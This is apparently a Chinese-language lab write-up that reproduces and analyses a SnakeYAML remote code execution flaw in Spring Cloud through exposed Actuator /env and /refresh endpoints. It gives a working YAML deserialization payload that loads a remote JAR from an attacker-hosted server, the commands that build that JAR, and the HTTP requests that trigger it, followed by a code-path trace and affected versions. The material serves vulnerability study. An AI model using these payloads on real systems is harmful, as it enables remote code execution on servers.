spring cloud SnakeYAML RCE

spring cloud SnakeYAML RCE

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce

IDEA打开然后配置一个Spring Boot即可

漏洞复现:

  1. python3 -m http.server 80 在 VPS 上开一个简单的 WEB 服务

  2. 编写一个 example.yml 文件,上传到 VPS 根目录

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://192.168.43.141/example.jar"]
      ]]
    ]
    
  3. https://github.com/artsploit/yaml-payload 下载下来,用如下命令生成 example.jar 文件,把 jar 文件上传到 VPS 根目录(我这里把AwesomeScriptEngineFactory.java 文件里的命令执行改为弹计算机,方便测试)

    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf example.jar -C src/ .
    
  4. 访问 env 接口改变服务器 spring.cloud.bootstrap.location 环境变量

    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
    
  5. 访问 refresh 接口更新服务器配置(个人理解)

    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

漏洞分析

通过 env 接口改变服务器 spring.cloud.bootstrap.location 环境变量,访问 refresh 接口更新服务器配置时,会加载 spring.cloud.bootstrap.location 环境变量指向的外部 URL 地址的文件,也就是加载 example.yml 文件,然后把这个 yml 文件交给 SnakeYAML 处理,SnakeYAML 根据 example.yml 文件反序列化出一个 ScriptEngineManager 对象,其实就是会下载 http://192.168.43.141/example.jar 文件,并寻找一个实现 javax.script.ScriptEngineFactory 接口的类,找的后进行实例化

SnakeYAML 反序列化

如下代码就相当于 SnakeYAML 反序列化 ScriptEngineManager 对象的作用

public class Test {
    public static void main(String[] args) throws IOException {
        URL url = new URL("http://192.168.43.141/example.jar");
        new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
    }
}

Runtime#exec 方法下断点
spring cloud SnakeYAML RCE
ServiceLoader#nextService 方法调用了无参构造实例化对象,无参构造里面构造的命令就会执行
spring cloud SnakeYAML RCE
调用栈如下
spring cloud SnakeYAML RCE

refresh更新配置

继续在 Runtime#exec 下断点进行分析,在 RefreshEndpoint#refresh 方法处理 refresh 接口访问
spring cloud SnakeYAML RCE
在调用栈的 BootstrapApplicationListener#bootstrapServiceContext 方法中调用 environment.resolvePlaceholders 获取到服务器 spring.cloud.bootstrap.location 环境变量赋值给 configLocation 变量
spring cloud SnakeYAML RCE
然后在 PropertySourcesLoader#load 方法中根据前面获取到的 spring.cloud.bootstrap.location 环境变量的文件后缀为yml,调用 YamlPropertySourceLoader#load 方法加载 URL 对应的yml配置文件
spring cloud SnakeYAML RCE
跟进 YamlPropertySourceLoader#load 方法,因为 spring-beans.jar 包含 snakeyaml.jar,所以会调用 SnakeYAML 库解析yml文件
spring cloud SnakeYAML RCE
最终到 YamlProcessor#process 方法中调用到 Yaml#loadAll 解析yml文件内容,之后就是反序列化 ScriptEngineManager 对象(前面分析的)

总结

版本利用存在限制:

SpringBoot 2.x 无法利用
SpringBoot 1.5.x 在 Dalston 版本可以利用,在 Edgware 版本无法利用
SpringBoot <=1.4 可以利用

漏洞利用条件:

可以访问 evn 接口
可以访问 refresh 接口
目标可以出网

参考:

https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
https://github.com/LandGrey/SpringBootVulExploit

上一篇:机器学习:4.机器学习 --- 朴素贝叶斯分类器


下一篇:Mongodb源代码阅读笔记:Journal机制